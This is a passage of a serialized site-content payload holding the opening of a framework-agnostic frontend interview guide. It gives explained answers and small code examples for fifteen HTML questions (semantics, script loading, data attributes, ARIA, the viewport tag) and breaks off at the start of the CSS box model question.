tradeoffs, and real browser examples.","local-storage-vs-session-storage-vs-cookies.png",{},"/backend/local-storage-vs-session-storage-vs-cookies",{"title":40046,"description":41181},"Backend/4.local-storage-vs-session-storage-vs-cookies",[41188,41189,41190,41191,41192],"Sessions","Cookies","Local Storage","Session Storage","Web Security","PvFNJ3N49aNQL4l0sk5ojXfSwBE_fojsaGs4JpryY0w",{"id":41195,"title":41196,"author":6,"body":41197,"date":50054,"description":50055,"draft":21517,"extension":21518,"guide":21519,"image":50056,"meta":50057,"navigation":189,"path":50058,"seo":50059,"stem":50060,"tags":50061,"__hash__":50065},"blog/Frontend/1.top-100-frontend-interview-questions.md","Top 100 Frontend Interview Questions and Answers (Framework Agnostic)",{"type":8,"value":41198,"toc":49899},[41199,41202,41205,41209,41213,41216,41223,41226,41230,41248,41267,41366,41375,41383,41392,41401,41488,41507,41515,41524,41531,41545,41553,41558,41587,41594,41606,41612,41620,41632,41692,41701,41711,41714,41720,41726,41796,41799,41807,41810,41819,41823,41834,41868,41935,41953,41956,41966,41981,41984,42041,42048,42056,42064,42067,42076,42080,42100,42111,42120,42127,42130,42140,42144,42163,42213,42224,42227,42234,42262,42265,42275,42278,42282,42286,42305,42311,42334,42344,42357,42366,42409,42412,42428,42434,42480,42490,42503,42506,42562,42573,42577,42580,42600,42606,42627,42630,42691,42703,42707,42710,42716,42719,42723,42726,42822,42831,42835,42838,42859,42877,42886,42894,42903,42909,43015,43018,43022,43025,43028,43054,43057,43061,43064,43096,43099,43103,43109,43199,43220,43232,43243,43246,43290,43293,43297,43300,43374,43389,43393,43396,43413,43416,43423,43428,43450,43469,43479,43482,43496,43506,43518,43522,43525,43533,43595,43606,43681,43684,43696,43701,43751,43759,43763,43773,43776,43848,43858,43870,43874,43877,43880,43911,44001,44009,44013,44023,44062,44071,44080,44091,44166,44181,44185,44206,44231,44270,44288,44297,44300,44311,44327,44369,44382,44386,44389,44494,44510,44516,44519,44523,44532,44544,44618,44624,44628,44631,44708,44711,44748,44756,44763,44776,44779,44852,44956,44972,44984,44990,45030,45161,45185,45189,45198,45204,45280,45286,45290,45296,45306,45309,45313,45316,45319,45348,45354,45357,45368,45372,45375,45400,45416,45509,45512,45523,45526,45559,45565,45569,45572,45587,45696,45718,45725,45734,45830,45833,45855,45865,45880,45883,45971,45986,46000,46003,46025,46192,46195,46199,46209,46215,46322,46346,46350,46353,46566,46569,46573,46579,46589,46707,46716,46816,46830,46834,46841,46916,46926,46936,46939,46948,46956,47057,47066,47076,47101,47106,47231,47234,47242,47245,47339,47345,47349,47352,47482,47489,47561,47564,47568,47571,47580,47586,47783,47786,47796,47799,47808,47814,47881,47894,47898,47902,47905,47912,47916,47922,47942,47956,47968,47971,48005,48097,48108,48112,48115,48140,48146,48155,48159,48166,48257,48268,48276,48279,48288,48298,48392,48401,48410,48419,48435,48546,48554,48563,48566,48644,48650,48667,48674,48678,48684,48694,48698,48701,48707,48710,48751,48754,48758,48761,48767,48773,48785,48789,48792,48799,48809,48812,48823,48829,48843,48847,48853,48859,48963,48966,48978,48981,49023,49037,49041,49045,49048,49051,49127,49133,49137,49140,49146,49149,49153,49156,49175,49178,49182,49185,49205,49208,49212,49215,49235,49238,49242,49245,49265,49268,49272,49275,49281,49291,49297,49300,49304,49307,49310,49313,49322,49325,49343,49346,49350,49353,49412,49415,49419,49423,49426,49429,49432,49441,49444,49456,49466,49509,49515,49519,49530,49555,49561,49572,49576,49579,49586,49618,49622,49625,49643,49646,49673,49677,49683,49691,49694,49697,49701,49704,49707,49727,49730,49734,49737,49747,49753,49756,49760,49763,49789,49792,49799,49803,49806,49874,49877,49879,49882,49894,49896],[11,41200,41201],{},"Frontend interviews can feel intimidating because the surface area is huge: HTML, CSS, JavaScript, the DOM, browsers, performance, accessibility, security, and more. The good news is that most interviews keep returning to the same core ideas. If you understand these well, you can answer almost any variation of the question.",[11,41203,41204],{},"This article collects 100 of the most common frontend interview questions. They are framework agnostic, which means the answers do not depend on React, Vue, Angular, or Svelte. The focus is on what the browser actually does and how the language really works. The answers are written the way you might actually say them out loud in an interview: a clear definition first, then the reasoning behind it, then an example or two so the idea sticks.",[29,41206,41208],{"id":41207},"html-questions","HTML Questions",[34,41210,41212],{"id":41211},"_1-what-is-the-difference-between-html-and-xhtml","1. What is the difference between HTML and XHTML?",[11,41214,41215],{},"HTML is the regular markup language we all use every day. It is forgiving by design: if you forget to close a tag or write your tag names in mixed case, the browser will usually figure out what you meant and render the page anyway. That tolerance is one of the reasons the web grew so quickly, because beginners could publish pages without learning strict rules first.",[11,41217,41218,41219,41222],{},"XHTML was an attempt to clean this up by treating HTML as if it were XML. That meant strict rules: every tag had to be closed (even ",[18,41220,41221],{},"\u003Cbr />","), all attribute values had to be in quotes, and tag names had to be lowercase. If you broke any rule, the browser was supposed to refuse to render the page at all.",[11,41224,41225],{},"In practice the strict approach lost. The web today runs on HTML5, which kept the relaxed parsing of HTML but adopted a lot of the cleanliness ideas from XHTML. So unless you are maintaining an old codebase, you will basically never write XHTML.",[34,41227,41229],{"id":41228},"_2-what-are-semantic-html-elements-and-why-do-they-matter","2. What are semantic HTML elements and why do they matter?",[11,41231,41232,41233,41236,41237,41240,41241,41244,41245,41247],{},"Semantic elements are HTML tags that describe the meaning of the content inside them, not just how it should look. ",[18,41234,41235],{},"\u003Cheader>"," says \"this part is the header.\" ",[18,41238,41239],{},"\u003Cnav>"," says \"this is a set of navigation links.\" ",[18,41242,41243],{},"\u003Carticle>"," says \"this is a self contained piece of content.\" Compare that to ",[18,41246,8232],{},", which tells you nothing at all.",[11,41249,41250,41251,592,41254,41256,41257,41259,41260,41262,41263,41266],{},"Why does this matter if both ",[18,41252,41253],{},"\u003Cdiv class=\"nav\">",[18,41255,41239],{}," look the same on screen? Because not everyone consumes your page visually. A blind user navigating with a screen reader can jump straight to the ",[18,41258,41239],{}," or skip past it. Search engines understand that an ",[18,41261,41243],{}," is the main content and a ",[18,41264,41265],{},"\u003Cfooter>"," is supporting metadata. Reader mode in browsers, AI summarisers, and even your own future self reading the markup all benefit when the structure is meaningful.",[123,41268,41270],{"className":2950,"code":41269,"language":2952,"meta":128,"style":128},"\u003Carticle>\n    \u003Cheader>\n        \u003Ch1>Post title\u003C/h1>\n        \u003Ctime datetime=\"2026-04-30\">April 30, 2026\u003C/time>\n    \u003C/header>\n    \u003Cp>The actual post content lives here.\u003C/p>\n    \u003Cfooter>Tagged: Frontend, HTML\u003C/footer>\n\u003C/article>\n",[18,41271,41272,41281,41289,41302,41324,41332,41345,41358],{"__ignoreMap":128},[132,41273,41274,41276,41279],{"class":134,"line":135},[132,41275,139],{"class":138},[132,41277,41278],{"class":142},"article",[132,41280,146],{"class":138},[132,41282,41283,41285,41287],{"class":134,"line":149},[132,41284,152],{"class":138},[132,41286,8265],{"class":142},[132,41288,146],{"class":138},[132,41290,41291,41293,41295,41298,41300],{"class":134,"line":176},[132,41292,1489],{"class":138},[132,41294,2850],{"class":142},[132,41296,41297],{"class":138},">Post title\u003C/",[132,41299,2850],{"class":142},[132,41301,146],{"class":138},[132,41303,41304,41306,41309,41312,41314,41317,41320,41322],{"class":134,"line":186},[132,41305,1489],{"class":138},[132,41307,41308],{"class":142},"time",[132,41310,41311],{"class":158}," datetime",[132,41313,162],{"class":138},[132,41315,41316],{"class":165},"\"2026-04-30\"",[132,41318,41319],{"class":138},">April 30, 2026\u003C/",[132,41321,41308],{"class":142},[132,41323,146],{"class":138},[132,41325,41326,41328,41330],{"class":134,"line":193},[132,41327,1528],{"class":138},[132,41329,8265],{"class":142},[132,41331,146],{"class":138},[132,41333,41334,41336,41338,41341,41343],{"class":134,"line":206},[132,41335,152],{"class":138},[132,41337,11],{"class":142},[132,41339,41340],{"class":138},">The actual post content lives here.\u003C/",[132,41342,11],{"class":142},[132,41344,146],{"class":138},[132,41346,41347,41349,41351,41354,41356],{"class":134,"line":222},[132,41348,152],{"class":138},[132,41350,9203],{"class":142},[132,41352,41353],{"class":138},">Tagged: Frontend, HTML\u003C/",[132,41355,9203],{"class":142},[132,41357,146],{"class":138},[132,41359,41360,41362,41364],{"class":134,"line":227},[132,41361,179],{"class":138},[132,41363,41278],{"class":142},[132,41365,146],{"class":138},[11,41367,41368,41369,1334,41371,41374],{},"A good rule: reach for a semantic tag first, and only fall back to ",[18,41370,8232],{},[18,41372,41373],{},"\u003Cspan>"," if nothing more meaningful fits.",[34,41376,41378,41379,592,41381,1349],{"id":41377},"_3-what-is-the-difference-between-div-and-span","3. What is the difference between ",[18,41380,8232],{},[18,41382,41373],{},[11,41384,41385,41386,41388,41389,41391],{},"The short answer is that ",[18,41387,8232],{}," is a block level element and ",[18,41390,41373],{}," is an inline element. A block element behaves like a paragraph: it stretches to fill the width of its parent and pushes whatever comes next onto a new line. An inline element behaves like a word in a sentence: it only takes up the width of its content and stays on the same line as the text around it.",[11,41393,41394,41395,41397,41398,41400],{},"That difference decides where you reach for each one. You use ",[18,41396,8232],{}," when you need to wrap a chunk of layout, like a card, a section of a page, or a flex container. You use ",[18,41399,41373],{}," when you need to mark up a small piece of text inside a sentence, for example to colour a single word or attach a click handler to part of a label.",[123,41402,41404],{"className":2950,"code":41403,"language":2952,"meta":128,"style":128},"\u003Cp>The price is \u003Cspan class=\"highlight\">$49\u003C/span> today only.\u003C/p>\n\n\u003Cdiv class=\"card\">\n    \u003Ch2>Card title\u003C/h2>\n    \u003Cp>Card body\u003C/p>\n\u003C/div>\n",[18,41405,41406,41436,41440,41454,41467,41480],{"__ignoreMap":128},[132,41407,41408,41410,41412,41415,41417,41419,41421,41424,41427,41429,41432,41434],{"class":134,"line":135},[132,41409,139],{"class":138},[132,41411,11],{"class":142},[132,41413,41414],{"class":138},">The price is \u003C",[132,41416,132],{"class":142},[132,41418,8169],{"class":158},[132,41420,162],{"class":138},[132,41422,41423],{"class":165},"\"highlight\"",[132,41425,41426],{"class":138},">$49\u003C/",[132,41428,132],{"class":142},[132,41430,41431],{"class":138},"> today only.\u003C/",[132,41433,11],{"class":142},[132,41435,146],{"class":138},[132,41437,41438],{"class":134,"line":149},[132,41439,190],{"emptyLinePlaceholder":189},[132,41441,41442,41444,41446,41448,41450,41452],{"class":134,"line":176},[132,41443,139],{"class":138},[132,41445,1385],{"class":142},[132,41447,8169],{"class":158},[132,41449,162],{"class":138},[132,41451,9013],{"class":165},[132,41453,146],{"class":138},[132,41455,41456,41458,41460,41463,41465],{"class":134,"line":186},[132,41457,152],{"class":138},[132,41459,29],{"class":142},[132,41461,41462],{"class":138},">Card title\u003C/",[132,41464,29],{"class":142},[132,41466,146],{"class":138},[132,41468,41469,41471,41473,41476,41478],{"class":134,"line":193},[132,41470,152],{"class":138},[132,41472,11],{"class":142},[132,41474,41475],{"class":138},">Card body\u003C/",[132,41477,11],{"class":142},[132,41479,146],{"class":138},[132,41481,41482,41484,41486],{"class":134,"line":206},[132,41483,179],{"class":138},[132,41485,1385],{"class":142},[132,41487,146],{"class":138},[11,41489,41490,41491,581,41494,581,41496,581,41499,41502,41503,1334,41505,385],{},"Neither tag carries any meaning on its own, so if there is a more semantic option (",[18,41492,41493],{},"\u003Csection>",[18,41495,41243],{},[18,41497,41498],{},"\u003Cstrong>",[18,41500,41501],{},"\u003Cem>","), prefer that over ",[18,41504,8232],{},[18,41506,41373],{},[34,41508,41510,41511,592,41513,1349],{"id":41509},"_4-what-is-the-difference-between-id-and-class","4. What is the difference between ",[18,41512,1658],{},[18,41514,1731],{},[11,41516,41517,41518,41520,41521,41523],{},"Both are ways to label HTML elements so you can target them with CSS or JavaScript, but they follow different rules. An ",[18,41519,1658],{}," is meant to be unique on a page; you should never put the same id on two elements. A ",[18,41522,1731],{}," is the opposite: it is meant to be reusable, and one element can carry many classes at once.",[11,41525,41526,41527,41530],{},"There is also a big difference in CSS specificity. An id selector beats a class selector, no matter how many classes you stack. So if you start styling things with ids, you will quickly run into \"I cannot override this rule\" problems and reach for ",[18,41528,41529],{},"!important",", which gets messy.",[11,41532,41533,41534,41537,41538,41541,41542,9122],{},"The convention most teams follow is: use classes for styling and behaviour, and reserve id for things that genuinely need to be unique, such as the target of an anchor link (",[18,41535,41536],{},"#pricing","), a ",[18,41539,41540],{},"\u003Clabel for=\"...\">"," association, or an ARIA reference (",[18,41543,41544],{},"aria-labelledby=\"...\"",[34,41546,41548,41549,41552],{"id":41547},"_5-what-is-the-purpose-of-the-alt-attribute-on-images","5. What is the purpose of the ",[18,41550,41551],{},"alt"," attribute on images?",[11,41554,41555,41557],{},[18,41556,41551],{}," is the text that describes what the image shows, in plain language. The browser uses it in three important situations: when the image fails to load (broken image icon plus the alt text), when a screen reader announces the image to a blind user, and when search engines try to understand what the image represents.",[123,41559,41561],{"className":2950,"code":41560,"language":2952,"meta":128,"style":128},"\u003Cimg src=\"/golden-retriever.jpg\" alt=\"A golden retriever puppy chewing a tennis ball\" />\n",[18,41562,41563],{"__ignoreMap":128},[132,41564,41565,41567,41569,41572,41574,41577,41580,41582,41585],{"class":134,"line":135},[132,41566,139],{"class":138},[132,41568,1268],{"class":142},[132,41570,41571],{"class":158}," src",[132,41573,162],{"class":138},[132,41575,41576],{"class":165},"\"/golden-retriever.jpg\"",[132,41578,41579],{"class":158}," alt",[132,41581,162],{"class":138},[132,41583,41584],{"class":165},"\"A golden retriever puppy chewing a tennis ball\"",[132,41586,1287],{"class":138},[11,41588,41589,41590,41593],{},"Two practical tips. First, describe what is in the picture, do not just label it (\"photo of dog\" is bad, \"golden retriever puppy chewing a tennis ball\" is good). Second, if the image is purely decorative and adds no information, use an empty alt (",[18,41591,41592],{},"alt=\"\"",") so screen readers skip past it. Leaving alt off entirely is worse, because some screen readers will then read out the image filename.",[34,41595,41597,41598,581,41600,626,41603,1349],{"id":41596},"_6-what-is-the-difference-between-script-script-async-and-script-defer","6. What is the difference between ",[18,41599,49],{},[18,41601,41602],{},"\u003Cscript async>",[18,41604,41605],{},"\u003Cscript defer>",[11,41607,41608,41609,41611],{},"When the browser is parsing your HTML and it hits a ",[18,41610,49],{}," tag, it normally stops, downloads the script, runs it, and then continues parsing. That blocking behaviour is fine for tiny inline scripts, but it is terrible for big external scripts, because nothing else on the page can render while the browser waits.",[11,41613,41614,592,41616,41619],{},[18,41615,4917],{},[18,41617,41618],{},"defer"," are two ways to tell the browser \"you can keep parsing while this script downloads.\" The difference is when the script actually runs.",[56,41621,41622,41627],{},[59,41623,41624,41626],{},[18,41625,4917],{},": the script runs as soon as it has finished downloading, even if the HTML is not done parsing yet. This means scripts can run out of order, whichever finishes first wins.",[59,41628,41629,41631],{},[18,41630,41618],{},": the script waits until the HTML is fully parsed, and multiple deferred scripts run in the order they appear in the document.",[479,41633,41634,41650],{},[482,41635,41636],{},[485,41637,41638,41641,41644,41647],{},[488,41639,41640],{},"Attribute",[488,41642,41643],{},"Download",[488,41645,41646],{},"Execution",[488,41648,41649],{},"Order preserved",[498,41651,41652,41665,41679],{},[485,41653,41654,41657,41660,41663],{},[503,41655,41656],{},"(none)",[503,41658,41659],{},"Blocks parsing",[503,41661,41662],{},"Immediately when downloaded",[503,41664,3298],{},[485,41666,41667,41671,41674,41677],{},[503,41668,41669],{},[18,41670,4917],{},[503,41672,41673],{},"In parallel",[503,41675,41676],{},"As soon as downloaded",[503,41678,5999],{},[485,41680,41681,41685,41687,41690],{},[503,41682,41683],{},[18,41684,41618],{},[503,41686,41673],{},[503,41688,41689],{},"After HTML parsing finishes",[503,41691,3298],{},[11,41693,41694,41695,41697,41698,41700],{},"For most regular scripts, ",[18,41696,41618],{}," is the safer default because it preserves order and never interrupts parsing. Use ",[18,41699,4917],{}," for independent third party scripts like analytics, where you genuinely do not care about the order or about other scripts.",[34,41702,41704,41705,592,41708,1349],{"id":41703},"_7-what-is-the-difference-between-link-relpreload-and-link-relprefetch","7. What is the difference between ",[18,41706,41707],{},"\u003Clink rel=\"preload\">",[18,41709,41710],{},"\u003Clink rel=\"prefetch\">",[11,41712,41713],{},"These are two hints you can give the browser about resources you know it will need.",[11,41715,41716,41719],{},[18,41717,41718],{},"preload"," says: \"I will need this resource on the current page, very soon, please fetch it with high priority right now.\" It is for things that are critical to rendering the page you are on, like a custom font that the heading uses, or the hero image.",[11,41721,41722,41725],{},[18,41723,41724],{},"prefetch"," says: \"I might need this resource for a future page or interaction, fetch it when you have nothing better to do.\" It is for things like the JavaScript bundle of the next route in a multi step flow, where you have a strong guess that the user will navigate there next.",[123,41727,41729],{"className":2950,"code":41728,"language":2952,"meta":128,"style":128},"\u003Clink rel=\"preload\" href=\"/fonts/inter.woff2\" as=\"font\" type=\"font/woff2\" crossorigin />\n\u003Clink rel=\"prefetch\" href=\"/checkout-bundle.js\" />\n",[18,41730,41731,41774],{"__ignoreMap":128},[132,41732,41733,41735,41738,41741,41743,41746,41749,41751,41754,41757,41759,41762,41764,41766,41769,41772],{"class":134,"line":135},[132,41734,139],{"class":138},[132,41736,41737],{"class":142},"link",[132,41739,41740],{"class":158}," rel",[132,41742,162],{"class":138},[132,41744,41745],{"class":165},"\"preload\"",[132,41747,41748],{"class":158}," href",[132,41750,162],{"class":138},[132,41752,41753],{"class":165},"\"/fonts/inter.woff2\"",[132,41755,41756],{"class":158}," as",[132,41758,162],{"class":138},[132,41760,41761],{"class":165},"\"font\"",[132,41763,2261],{"class":158},[132,41765,162],{"class":138},[132,41767,41768],{"class":165},"\"font/woff2\"",[132,41770,41771],{"class":158}," crossorigin",[132,41773,1287],{"class":138},[132,41775,41776,41778,41780,41782,41784,41787,41789,41791,41794],{"class":134,"line":149},[132,41777,139],{"class":138},[132,41779,41737],{"class":142},[132,41781,41740],{"class":158},[132,41783,162],{"class":138},[132,41785,41786],{"class":165},"\"prefetch\"",[132,41788,41748],{"class":158},[132,41790,162],{"class":138},[132,41792,41793],{"class":165},"\"/checkout-bundle.js\"",[132,41795,1287],{"class":138},[11,41797,41798],{},"The difference is essentially urgency: preload is \"I need this now, do not delay,\" and prefetch is \"save this for later when the user is idle.\"",[34,41800,41802,41803,41806],{"id":41801},"_8-what-does-the-doctype-html-declaration-do","8. What does the ",[18,41804,41805],{},"\u003C!DOCTYPE html>"," declaration do?",[11,41808,41809],{},"It is the very first line of every modern HTML document, and its only job is to tell the browser \"render this page in standards mode.\" That sounds boring, but the alternative is real and painful.",[11,41811,41812,41813,41815,41816,385],{},"If you leave it out, the browser falls back to \"quirks mode,\" which is a special compatibility mode that tries to behave like a 1990s browser. In quirks mode, the box model is calculated differently, certain CSS rules behave unexpectedly, and your layout will quietly break in ways that are very hard to debug. Always include ",[18,41814,41805],{}," as the first line, before ",[18,41817,41818],{},"\u003Chtml>",[34,41820,41822],{"id":41821},"_9-what-are-data-attributes","9. What are data attributes?",[11,41824,41825,41826,41829,41830,41833],{},"Data attributes are a clean, official way to attach custom data to an HTML element. You name them starting with ",[18,41827,41828],{},"data-"," and you can read and write them from JavaScript through the ",[18,41831,41832],{},"dataset"," property.",[123,41835,41837],{"className":2950,"code":41836,"language":2952,"meta":128,"style":128},"\u003Cbutton data-user-id=\"42\" data-action=\"delete\">Delete\u003C/button>\n",[18,41838,41839],{"__ignoreMap":128},[132,41840,41841,41843,41845,41848,41850,41853,41856,41858,41861,41864,41866],{"class":134,"line":135},[132,41842,139],{"class":138},[132,41844,155],{"class":142},[132,41846,41847],{"class":158}," data-user-id",[132,41849,162],{"class":138},[132,41851,41852],{"class":165},"\"42\"",[132,41854,41855],{"class":158}," data-action",[132,41857,162],{"class":138},[132,41859,41860],{"class":165},"\"delete\"",[132,41862,41863],{"class":138},">Delete\u003C/",[132,41865,155],{"class":142},[132,41867,146],{"class":138},[123,41869,41871],{"className":388,"code":41870,"language":390,"meta":128,"style":128},"const btn = document.querySelector('button')\nconsole.log(btn.dataset.userId)  // '42'\nconsole.log(btn.dataset.action)  // 'delete'\n\nbtn.dataset.action = 'archive'   // changes the attribute in the DOM\n",[18,41872,41873,41894,41906,41918,41922],{"__ignoreMap":128},[132,41874,41875,41877,41880,41882,41885,41888,41890,41892],{"class":134,"line":135},[132,41876,230],{"class":209},[132,41878,41879],{"class":233}," btn",[132,41881,237],{"class":209},[132,41883,41884],{"class":138}," document.",[132,41886,41887],{"class":158},"querySelector",[132,41889,243],{"class":138},[132,41891,19728],{"class":165},[132,41893,249],{"class":138},[132,41895,41896,41898,41900,41903],{"class":134,"line":149},[132,41897,3889],{"class":138},[132,41899,3143],{"class":158},[132,41901,41902],{"class":138},"(btn.dataset.userId)  ",[132,41904,41905],{"class":397},"// '42'\n",[132,41907,41908,41910,41912,41915],{"class":134,"line":176},[132,41909,3889],{"class":138},[132,41911,3143],{"class":158},[132,41913,41914],{"class":138},"(btn.dataset.action)  ",[132,41916,41917],{"class":397},"// 'delete'\n",[132,41919,41920],{"class":134,"line":186},[132,41921,190],{"emptyLinePlaceholder":189},[132,41923,41924,41927,41929,41932],{"class":134,"line":193},[132,41925,41926],{"class":138},"btn.dataset.action ",[132,41928,162],{"class":209},[132,41930,41931],{"class":165}," 'archive'",[132,41933,41934],{"class":397},"   // changes the attribute in the DOM\n",[11,41936,41937,41938,41941,41942,41945,41946,41949,41950,385],{},"Two practical notes. The hyphenated attribute name in HTML (",[18,41939,41940],{},"data-user-id",") becomes camelCase in JavaScript (",[18,41943,41944],{},"dataset.userId","). And the values are always strings, even if you write ",[18,41947,41948],{},"data-count=\"3\"",", you read it back as the string ",[18,41951,41952],{},"'3'",[11,41954,41955],{},"They are perfect for passing little bits of information from server rendered HTML to JavaScript without polluting the global scope or inventing fake attributes that are not part of the spec.",[34,41957,41959,41960,592,41963,1349],{"id":41958},"_10-what-is-the-difference-between-button-typebutton-and-button-typesubmit","10. What is the difference between ",[18,41961,41962],{},"\u003Cbutton type=\"button\">",[18,41964,41965],{},"\u003Cbutton type=\"submit\">",[11,41967,41968,41969,41972,41973,41976,41977,41980],{},"This is one of those tiny details that catches almost every beginner once. Inside a ",[18,41970,41971],{},"\u003Cform>",", the default button type is ",[18,41974,41975],{},"submit",". So if you write ",[18,41978,41979],{},"\u003Cbutton>Save\u003C/button>"," inside a form and click it, the form submits and the page reloads, even if all you wanted was to run a click handler.",[11,41982,41983],{},"The fix is to always set the type explicitly:",[123,41985,41987],{"className":2950,"code":41986,"language":2952,"meta":128,"style":128},"\u003Cbutton type=\"button\" onclick=\"openMenu()\">Open menu\u003C/button>\n\u003Cbutton type=\"submit\">Save changes\u003C/button>\n",[18,41988,41989,42022],{"__ignoreMap":128},[132,41990,41991,41993,41995,41997,41999,42002,42005,42007,42009,42012,42015,42018,42020],{"class":134,"line":135},[132,41992,139],{"class":138},[132,41994,155],{"class":142},[132,41996,2261],{"class":158},[132,41998,162],{"class":138},[132,42000,42001],{"class":165},"\"button\"",[132,42003,42004],{"class":158}," onclick",[132,42006,162],{"class":138},[132,42008,1597],{"class":165},[132,42010,42011],{"class":158},"openMenu",[132,42013,42014],{"class":165},"()\"",[132,42016,42017],{"class":138},">Open menu\u003C/",[132,42019,155],{"class":142},[132,42021,146],{"class":138},[132,42023,42024,42026,42028,42030,42032,42034,42037,42039],{"class":134,"line":149},[132,42025,139],{"class":138},[132,42027,155],{"class":142},[132,42029,2261],{"class":158},[132,42031,162],{"class":138},[132,42033,16771],{"class":165},[132,42035,42036],{"class":138},">Save changes\u003C/",[132,42038,155],{"class":142},[132,42040,146],{"class":138},[11,42042,42043,42044,42047],{},"If your button does anything other than submit a form, set ",[18,42045,42046],{},"type=\"button\"",". The cost of forgetting is a confusing page reload that wipes whatever the user typed. A lot of senior developers ask this in interviews specifically because they have personally been bitten by it.",[34,42049,42051,42052,592,42054,1349],{"id":42050},"_11-what-is-the-difference-between-section-and-article","11. What is the difference between ",[18,42053,41493],{},[18,42055,41243],{},[11,42057,42058,42059,42061,42062,385],{},"The simplest way to tell them apart is to ask: \"could this content be lifted out and republished somewhere else completely on its own?\" If yes, it is an ",[18,42060,41243],{},". If it is just a thematic chunk inside a larger document, it is a ",[18,42063,41493],{},[11,42065,42066],{},"A blog post is an article. A user comment is also an article (it stands alone). The \"About\" portion of a homepage is a section. The \"Pricing\" portion of the same homepage is another section.",[11,42068,42069,42070,42072,42073,42075],{},"A common pattern is to nest them: an ",[18,42071,41243],{}," for a blog post, with ",[18,42074,41493],{}," blocks inside it for \"Introduction,\" \"Method,\" \"Results,\" and so on. Both should usually have a heading inside them.",[34,42077,42079],{"id":42078},"_12-what-are-void-self-closing-elements-in-html","12. What are void (self closing) elements in HTML?",[11,42081,42082,42083,581,42086,581,42089,581,42092,581,42094,626,42097,385],{},"Void elements are HTML tags that cannot have any content, so they have no closing tag at all. The most common ones are ",[18,42084,42085],{},"\u003Cimg>",[18,42087,42088],{},"\u003Cbr>",[18,42090,42091],{},"\u003Chr>",[18,42093,1651],{},[18,42095,42096],{},"\u003Cmeta>",[18,42098,42099],{},"\u003Clink>",[11,42101,42102,42103,42106,42107,42110],{},"In plain HTML you write them without a slash: ",[18,42104,42105],{},"\u003Cimg src=\"x.jpg\">",". In XHTML or in JSX (React) you have to write them as ",[18,42108,42109],{},"\u003Cimg src=\"x.jpg\" />"," because those flavours require every tag to be closed. Both forms are accepted by HTML5 parsers, so the slash is harmless either way.",[34,42112,1342,42114,592,42117,1349],{"id":42113},"_13-what-is-the-difference-between-input-typetext-and-input-typesearch",[18,42115,42116],{},"\u003Cinput type=\"text\">",[18,42118,42119],{},"\u003Cinput type=\"search\">",[11,42121,42122,42123,42126],{},"They look almost identical, but ",[18,42124,42125],{},"type=\"search\""," opts into a few small browser behaviours that make it nicer for, well, search.",[11,42128,42129],{},"On most browsers, a search input shows a small clear (X) button on the right when there is text in it. On mobile devices, the on screen keyboard often shows a \"Search\" key instead of \"Return.\" And screen readers announce it as a search field, which is an accessibility win.",[11,42131,42132,42133,42135,42136,42139],{},"If the input is being used as a search box, prefer ",[18,42134,42125],{}," over ",[18,42137,42138],{},"type=\"text\"",". It costs you nothing and gives users tiny but real improvements.",[34,42141,42143],{"id":42142},"_14-what-are-aria-attributes","14. What are ARIA attributes?",[11,42145,42146,42147,42150,42151,42154,42155,42158,42159,42162],{},"ARIA stands for \"Accessible Rich Internet Applications.\" They are a set of HTML attributes that add accessibility information to elements when the native HTML tag is not enough on its own. Common examples are ",[18,42148,42149],{},"aria-label"," (gives an element an accessible name), ",[18,42152,42153],{},"aria-hidden"," (hides an element from screen readers), ",[18,42156,42157],{},"aria-expanded"," (says whether a menu is open), and ",[18,42160,42161],{},"role"," (declares what kind of element this acts like).",[123,42164,42166],{"className":2950,"code":42165,"language":2952,"meta":128,"style":128},"\u003Cbutton aria-label=\"Close dialog\" aria-expanded=\"false\" aria-controls=\"menu\">\n    X\n\u003C/button>\n",[18,42167,42168,42200,42205],{"__ignoreMap":128},[132,42169,42170,42172,42174,42177,42179,42182,42185,42187,42190,42193,42195,42198],{"class":134,"line":135},[132,42171,139],{"class":138},[132,42173,155],{"class":142},[132,42175,42176],{"class":158}," aria-label",[132,42178,162],{"class":138},[132,42180,42181],{"class":165},"\"Close dialog\"",[132,42183,42184],{"class":158}," aria-expanded",[132,42186,162],{"class":138},[132,42188,42189],{"class":165},"\"false\"",[132,42191,42192],{"class":158}," aria-controls",[132,42194,162],{"class":138},[132,42196,42197],{"class":165},"\"menu\"",[132,42199,146],{"class":138},[132,42201,42202],{"class":134,"line":149},[132,42203,42204],{"class":138},"    X\n",[132,42206,42207,42209,42211],{"class":134,"line":176},[132,42208,179],{"class":138},[132,42210,155],{"class":142},[132,42212,146],{"class":138},[11,42214,42215,42216,42219,42220,42223],{},"The single most important rule is sometimes called the \"first rule of ARIA\": do not use ARIA when a real HTML element exists. A real ",[18,42217,42218],{},"\u003Cbutton>"," already has the right role, the right keyboard behaviour, and the right focus handling for free. A ",[18,42221,42222],{},"\u003Cdiv role=\"button\" tabindex=\"0\">"," is brittle, and a beginner usually forgets to handle the keyboard correctly.",[11,42225,42226],{},"Reach for ARIA only to fill gaps that HTML cannot fill, like labelling a custom dropdown or describing the state of a tab panel.",[34,42228,42230,42231,14685],{"id":42229},"_15-what-is-the-meaning-of-the-meta-viewport-tag","15. What is the meaning of the ",[18,42232,42233],{},"\u003Cmeta viewport>",[123,42235,42237],{"className":2950,"code":42236,"language":2952,"meta":128,"style":128},"\u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n",[18,42238,42239],{"__ignoreMap":128},[132,42240,42241,42243,42245,42247,42249,42252,42255,42257,42260],{"class":134,"line":135},[132,42242,139],{"class":138},[132,42244,14249],{"class":142},[132,42246,9161],{"class":158},[132,42248,162],{"class":138},[132,42250,42251],{"class":165},"\"viewport\"",[132,42253,42254],{"class":158}," content",[132,42256,162],{"class":138},[132,42258,42259],{"class":165},"\"width=device-width, initial-scale=1\"",[132,42261,1287],{"class":138},[11,42263,42264],{},"This tag tells mobile browsers how to lay out the page. Without it, mobile browsers pretend the screen is around 980 pixels wide and then shrink the result to fit, which makes everything look tiny and zoomed out. With this tag, the browser uses the actual device width and renders the page at a sensible size.",[11,42266,42267,42270,42271,42274],{},[18,42268,42269],{},"width=device-width"," is the part that says \"use the real width of the device.\" ",[18,42272,42273],{},"initial-scale=1"," says \"do not zoom in or out by default.\"",[11,42276,42277],{},"If you ever build a responsive site and find that it looks like a desktop site shrunk down on mobile, ninety nine times out of a hundred you forgot this tag.",[29,42279,42281],{"id":42280},"css-questions","CSS Questions",[34,42283,42285],{"id":42284},"_16-what-is-the-css-box-model","16. What is the CSS box model?",[11,42287,42288,42289,42292,42293,42296,42297,42300,42301,42304],{},"Every element on the page is treated as a rectangular box, and that box has four parts. From the inside out: the ",[62,42290,42291],{},"content"," (the text or image itself), the ",[62,42294,42295],{},"padding"," (transparent space inside the border, around the content), the 